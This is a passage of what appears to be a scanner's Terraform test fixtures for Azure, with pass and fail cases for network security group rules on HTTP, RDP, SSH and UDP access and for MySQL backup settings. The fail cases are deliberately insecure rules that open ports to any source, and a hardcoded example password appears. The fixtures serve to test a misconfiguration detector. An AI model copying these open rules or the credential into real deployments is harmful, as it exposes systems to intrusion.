sku_name               = \"GP_Standard_D2ds_v4\"\n}\n\nresource \"azurerm_mysql_flexible_server\" \"fail2\" {\n  name                   = \"example-fs\"\n  resource_group_name    = azurerm_resource_group.example.name\n  location               = azurerm_resource_group.example.location\n  administrator_login    = \"psqladmin\"\n  administrator_password = \"H@Sh1CoR3!\"\n  backup_retention_days  = 7\n  delegated_subnet_id    = azurerm_subnet.example.id\n  private_dns_zone_id    = azurerm_private_dns_zone.example.id\n  sku_name               = \"GP_Standard_D2ds_v4\"\n  geo_redundant_backup_enabled = false\n}\n\nresource \"azurerm_mysql_flexible_server\" \"pass\" {\n  name                   = \"example-fs\"\n  resource_group_name    = azurerm_resource_group.example.name\n  location               = azurerm_resource_group.example.location\n  administrator_login    = \"psqladmin\"\n  administrator_password = \"H@Sh1CoR3!\"\n  backup_retention_days  = 7\n  delegated_subnet_id    = azurerm_subnet.example.id\n  private_dns_zone_id    = azurerm_private_dns_zone.example.id\n  sku_name               = \"GP_Standard_D2ds_v4\"\n  geo_redundant_backup_enabled = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/dynamic_block_map_example/dynamic.tf",
    "content": "data \"azurerm_resource_group\" \"abc-azr-lab\" {\n  name = \"abc-azr-lab\"\n}\n\nresource \"azurerm_network_security_group\" \"dynamic_nsg_fail\" {\n  name                = var.nsg_name_fail\n  location            = data.azurerm_resource_group.abc-azr-lab.location\n  resource_group_name = data.azurerm_resource_group.abc-azr-lab.name\n\n  dynamic \"security_rule\" {\n    for_each = var.fail_nsg_rules\n    content {\n      name                       = security_rule.value[\"name\"]\n      priority                   = security_rule.value[\"priority\"]\n      direction                  = security_rule.value[\"direction\"]\n      access                     = security_rule.value[\"access\"]\n      protocol                   = security_rule.value[\"protocol\"]\n      source_port_range          = security_rule.value[\"source_port_range\"]\n      destination_port_range     = security_rule.value[\"destination_port_range\"]\n      source_address_prefix      = security_rule.value[\"source_address_prefix\"]\n      destination_address_prefix = security_rule.value[\"destination_address_prefix\"]\n    }\n  }\n}\n\nresource \"azurerm_network_security_group\" \"dynamic_nsg_pass\" {\n  name                = var.nsg_name_pass\n  location            = data.azurerm_resource_group.abc-azr-lab.location\n  resource_group_name = data.azurerm_resource_group.abc-azr-lab.name\n\n  dynamic \"security_rule\" {\n    for_each = var.pass_nsg_rules\n    content {\n      name                       = security_rule.value[\"name\"]\n      priority                   = security_rule.value[\"priority\"]\n      direction                  = security_rule.value[\"direction\"]\n      access                     = security_rule.value[\"access\"]\n      protocol                   = security_rule.value[\"protocol\"]\n      source_port_range          = security_rule.value[\"source_port_range\"]\n      destination_port_range     = security_rule.value[\"destination_port_range\"]\n      source_address_prefix      = security_rule.value[\"source_address_prefix\"]\n      destination_address_prefix = security_rule.value[\"destination_address_prefix\"]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/dynamic_block_map_example/terraform.tfvars",
    "content": "subnet_list = [\n  {\n    name           = \"dynamic_subnet1\"\n    address_prefix = \"10.100.1.0/24\"\n    security_group = \"azurerm_network_security_group.dynamic_nsg_pass.id\"\n  },\n  {\n    name           = \"dynamic_subnet2\"\n    address_prefix = \"10.100.2.0/24\"\n    security_group = \"azurerm_network_security_group.dynamic_nsg_pass.id\"\n  },\n  {\n    name           = \"dynamic_subnet3\"\n    address_prefix = \"10.100.3.0/24\"\n    security_group = \"azurerm_network_security_group.dynamic_nsg_pass.id\"\n  }\n]\n\nfail_nsg_rules = [\n  {\n    name                       = \"AllowHttpIn\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"80\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowHttpsIn\"\n    priority                   = 110\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"443\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowRdpIn\"\n    priority                   = 120\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"3389\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowIcmpIn\"\n    priority                   = 130\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Icmp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n]\n\n\npass_nsg_rules = [\n  {\n    name                       = \"DenyHttpIn\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Deny\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"80\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowHttpsIn\"\n    priority                   = 110\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"443\"\n    source_address_prefix      = \"35.181.123.80/32\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"DenyRdpIn\"\n    priority                   = 120\n    direction                  = \"Inbound\"\n    access                     = \"Deny\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"3389\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"DenyIcmpIn\"\n    priority                   = 130\n    direction                  = \"Inbound\"\n    access                     = \"Deny\"\n    protocol                   = \"Icmp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n]"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/dynamic_block_map_example/variables.tf",
    "content": "variable \"rg_name\" {\n  type    = string\n  default = \"abc-azr-lab\"\n}\n\nvariable \"rg_location\" {\n  type    = string\n  default = \"East US\"\n}\n\nvariable \"vnet_name\" {\n  type    = string\n  default = \"dynamic_vnet\"\n}\n\nvariable \"nsg_name_fail\" {\n  type    = string\n  default = \"dynamic_nsg_fail\"\n}\n\nvariable \"nsg_name_pass\" {\n  type    = string\n  default = \"dynamic_nsg_pass\"\n}\n\nvariable \"tags\" {\n  type    = list(string)\n  default = [\"testing\", \"dynamic_block\"]\n}\n\nvariable \"address_space\" {\n  type    = list(string)\n  default = [\"10.100.0.0/16\"]\n}\n\nvariable \"subnet_list\" {\n  type = list(object({\n    name           = string\n    address_prefix = string\n    security_group = string\n  }))\n  description = \"Values for each subnet\"\n}\n\nvariable \"fail_nsg_rules\" {\n  type = list(object({\n    name                       = string\n    priority                   = number\n    direction                  = string\n    access                     = string\n    protocol                   = string\n    source_port_range          = string\n    destination_port_range     = string\n    source_address_prefix      = string\n    destination_address_prefix = string\n  }))\n  description = \"Values for each NSG rule\"\n}\n\nvariable \"pass_nsg_rules\" {\n  type = list(object({\n    name                       = string\n    priority                   = number\n    direction                  = string\n    access                     = string\n    protocol                   = string\n    source_port_range          = string\n    destination_port_range     = string\n    source_address_prefix      = string\n    destination_address_prefix = string\n  }))\n  description = \"Values for each NSG rule\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_NSGRuleHTTPAccessRestricted/main.tf",
    "content": "# pass\n\nresource \"azurerm_network_security_rule\" \"https\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = 443\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"http_restricted_prefixes\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = 80\n  source_address_prefixes = [\n    \"123.123.123.123/32\",\n    \"10.0.0.0/16\"\n  ]\n}\n\nresource \"azurerm_network_security_group\" \"http_restricted\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n\n  security_rule {\n    name      = \"example\"\n    access    = \"Allow\"\n    direction = \"Inbound\"\n    priority  = 100\n    protocol  = \"Tcp\"\n\n    destination_port_range = 80\n    source_address_prefix  = \"10.0.0.0/16\"\n  }\n}\n\n# fail\n\nresource \"azurerm_network_security_rule\" \"http\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range  = 80\n  source_address_prefix   = \"*\"\n  destination_port_ranges = null\n  source_address_prefixes = null\n}\n\nresource \"azurerm_network_security_rule\" \"all\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = \"*\"\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"range\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = \"10-100\"\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"ranges_prefixes\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = null\n  source_address_prefix  = null\n  destination_port_ranges = [\n    80,\n    443\n  ]\n  source_address_prefixes = [\n    \"Internet\",\n    \"10.0.0.0/16\"\n  ]\n}\n\nresource \"azurerm_network_security_group\" \"ranges\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n\n  security_rule {\n    name      = \"example\"\n    access    = \"Allow\"\n    direction = \"Inbound\"\n    priority  = 100\n    protocol  = \"Tcp\"\n\n    destination_port_ranges = [\n      \"10-100\",\n      \"8000-9000\"\n    ]\n    source_address_prefix = \"*\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_NSGRuleRDPAccessRestricted/main.tf",
    "content": "# pass\n\nresource \"azurerm_network_security_rule\" \"https\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = 443\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"rdp_restricted_prefixes\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = 3389\n  source_address_prefixes = [\n    \"123.123.123.123/32\",\n    \"10.0.0.0/16\"\n  ]\n}\n\nresource \"azurerm_network_security_group\" \"rdp_restricted\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n\n  security_rule {\n    name      = \"example\"\n    access    = \"Allow\"\n    direction = \"Inbound\"\n    priority  = 100\n    protocol  = \"Tcp\"\n\n    destination_port_range = 3389\n    source_address_prefix  = \"10.0.0.0/16\"\n  }\n}\n\n# fail\n\nresource \"azurerm_network_security_rule\" \"rdp\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range  = 3389\n  source_address_prefix   = \"*\"\n  destination_port_ranges = null\n  source_address_prefixes = null\n}\n\nresource \"azurerm_network_security_rule\" \"all\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = \"*\"\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"range\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = \"3000-4000\"\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"ranges_prefixes\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = null\n  source_address_prefix  = null\n  destination_port_ranges = [\n    3389,\n    443\n  ]\n  source_address_prefixes = [\n    \"Internet\",\n    \"10.0.0.0/16\"\n  ]\n}\n\nresource \"azurerm_network_security_group\" \"ranges\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n\n  security_rule {\n    name      = \"example\"\n    access    = \"Allow\"\n    direction = \"Inbound\"\n    priority  = 100\n    protocol  = \"Tcp\"\n\n    destination_port_ranges = [\n      \"3000-4000\",\n      \"8000-9000\"\n    ]\n    source_address_prefix = \"*\"\n  }\n}\n\n# lower case\n\nresource \"azurerm_network_security_rule\" \"ranges_prefixes_lower_case\" {\n  name                        = \"example\"\n  access                      = \"allow\"\n  direction                   = \"inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = null\n  source_address_prefix  = null\n  destination_port_ranges = [\n    3389,\n    443\n  ]\n  source_address_prefixes = [\n    \"internet\",\n    \"10.0.0.0/16\"\n  ]\n}\n\nresource \"azurerm_network_security_rule\" \"range_prefix_lower_case\" {\n  name                        = \"example\"\n  access                      = \"allow\"\n  direction                   = \"inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = \"3000-4000\"\n  source_address_prefix  = \"internet\"\n}\n\nresource \"azurerm_network_security_group\" \"snet_nsgs\" {\n  count               = length(local.subnets)\n  name                = \"${local.root}-snet-${lookup(local.subnets[count.index], \"name\")}-nsg\"\n  location            = azurerm_resource_group.net_rg.location\n  resource_group_name = azurerm_resource_group.net_rg.name\n  tags                = local.tags\n\n\n  dynamic \"security_rule\" {\n    for_each = [for s in local.subnets[count.index].nsg_rules : {\n      name                       = s.name\n      priority                   = s.priority\n      direction                  = s.direction\n      access                     = s.access\n      protocol                   = s.protocol\n      source_port_range          = s.source_port_range\n      destination_port_range     = s.destination_port_range\n      source_address_prefix      = s.source_address_prefix\n      destination_address_prefix = s.destination_address_prefix\n      description                = s.description\n    }]\n    content {\n      name                       = security_rule.value.name\n      priority                   = security_rule.value.priority\n      direction                  = security_rule.value.direction\n      access                     = security_rule.value.access\n      protocol                   = security_rule.value.protocol\n      source_port_range          = security_rule.value.source_port_range\n      destination_port_range     = security_rule.value.destination_port_range\n      source_address_prefix      = security_rule.value.source_address_prefix\n      destination_address_prefix = security_rule.value.destination_address_prefix\n      description                = security_rule.value.description\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_NSGRuleSSHAccessRestricted/main.tf",
    "content": "# pass\n\nresource \"azurerm_network_security_rule\" \"https\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = 443\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"ssh_restricted_prefixes\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = 22\n  source_address_prefixes = [\n    \"123.123.123.123/32\",\n    \"10.0.0.0/16\"\n  ]\n}\n\nresource \"azurerm_network_security_group\" \"ssh_restricted\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n\n  security_rule {\n    name      = \"example\"\n    access    = \"Allow\"\n    direction = \"Inbound\"\n    priority  = 100\n    protocol  = \"Tcp\"\n\n    destination_port_range = 22\n    source_address_prefix  = \"10.0.0.0/16\"\n  }\n}\n\n# fail\n\nresource \"azurerm_network_security_rule\" \"ssh\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range  = 22\n  source_address_prefix   = \"*\"\n  destination_port_ranges = null\n  source_address_prefixes = null\n}\n\nresource \"azurerm_network_security_rule\" \"all\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = \"*\"\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"range\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = \"10-100\"\n  source_address_prefix  = \"Internet\"\n}\n\nresource \"azurerm_network_security_rule\" \"ranges_prefixes\" {\n  name                        = \"example\"\n  access                      = \"Allow\"\n  direction                   = \"Inbound\"\n  network_security_group_name = \"azurerm_network_security_group.example.name\"\n  priority                    = 100\n  protocol                    = \"Tcp\"\n  resource_group_name         = \"azurerm_resource_group.example.name\"\n\n  destination_port_range = null\n  source_address_prefix  = null\n  destination_port_ranges = [\n    22,\n    443\n  ]\n  source_address_prefixes = [\n    \"Internet\",\n    \"10.0.0.0/16\"\n  ]\n}\n\nresource \"azurerm_network_security_group\" \"ranges\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n\n  security_rule {\n    name      = \"example\"\n    access    = \"Allow\"\n    direction = \"Inbound\"\n    priority  = 100\n    protocol  = \"Tcp\"\n\n    destination_port_ranges = [\n      \"10-100\",\n      \"8000-9000\"\n    ]\n    source_address_prefix = \"*\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_NSGRuleUDPAccessRestricted/main.tf",
    "content": "resource \"azurerm_network_security_group\" \"old\" {\n  name                = \"allow_sshudp\"\n  location            = var.region\n  resource_group_name = \"contoso_research_dev_rg\"\n  tags                = var.tags\n  security_rule = [{\n    access                                     = \"Allow\"\n    description                                = \"allow_ssh\"\n    destination_address_prefix                 = \"*\"\n    destination_address_prefixes               = []\n    destination_application_security_group_ids = []\n    destination_port_range                     = \"\"\n    destination_port_ranges                    = [\"22\"]\n    direction                                  = \"Inbound\"\n    name                                       = \"allow_ssh\"\n    priority                                   = 100\n    protocol                                   = \"Tcp\"\n    source_address_prefix                      = \"*\"\n    source_address_prefixes                    = []\n    source_application_security_group_ids      = []\n    source_port_range                          = \"*\"\n    source_port_ranges                         = []\n    },\n    {\n      access                                     = \"Allow\"\n      description                                = \"allow_udpi\"\n      destination_address_prefix                 = \"*\"\n      destination_address_prefixes               = []\n      destination_application_security_group_ids = []\n      destination_port_range                     = \"*\"\n      destination_port_ranges                    = []\n      direction                                  = \"Inbound\"\n      name                                       = \"allow_udpi\"\n      priority                                   = 101\n      protocol                                   = \"Udp\"\n      source_address_prefix                      = \"*\"\n      source_address_prefixes                    = []\n      source_application_security_group_ids      = []\n      source_port_range                          = \"*\"\n      source_port_ranges                         = []\n    },\n    {\n      access                                     = \"Allow\"\n      description                                = \"allow_udpo\"\n      destination_address_prefix                 = \"*\"\n      destination_address_prefixes               = []\n      destination_application_security_group_ids = []\n      destination_port_range                     = \"*\"\n      destination_port_ranges                    = []\n      direction                                  = \"Outbound\"\n      name                                       = \"allow_udpo\"\n      priority                                   = 102\n      protocol                                   = \"Udp\"\n      source_address_prefix                      = \"*\"\n      source_address_prefixes                    = []\n      source_application_security_group_ids      = []\n      source_port_range                          = \"*\"\n      source_port_ranges                         = []\n  }]\n}\n\n\nresource \"azurerm_network_security_group\" \"fail\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Udp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_network_security_group\" \"fail2\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Udp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"any\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_network_security_group\" \"fail3\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Udp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"<nw>/0\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_network_security_group\" \"fail4\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Udp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"/0\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_network_security_group\" \"fail5\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Udp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"Internet\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\n\nresource \"azurerm_network_security_group\" \"pass\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Deny\"\n    protocol                   = \"Udp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_network_security_group\" \"pass2\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Outbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Udp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_network_security_group\" \"pass3\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule {\n    name                       = \"test123\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_network_security_rule\" \"fail\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"Udp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"*\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\nresource \"azurerm_network_security_rule\" \"fail2\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"Udp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"any\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\nresource \"azurerm_network_security_rule\" \"fail3\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"Udp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"<nw>/0\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\nresource \"azurerm_network_security_rule\" \"fail4\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"Udp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"/0\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\nresource \"azurerm_network_security_rule\" \"fail5\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"Udp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"Internet\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\nresource \"azurerm_network_security_rule\" \"pass\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Deny\"\n  protocol                    = \"Udp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"*\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\nresource \"azurerm_network_security_rule\" \"pass2\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Outbound\"\n  access                      = \"Allow\"\n  protocol                    = \"Udp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"*\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\nresource \"azurerm_network_security_rule\" \"pass3\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"Tcp\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"*\"\n  source_address_prefix       = \"*\"\n  destination_address_prefix  = \"*\"\n  network_security_group_name = \"\"\n  resource_group_name         = \"\"\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_OpenAICognitiveServicesRestrictOutboundNetwork/main.tf",
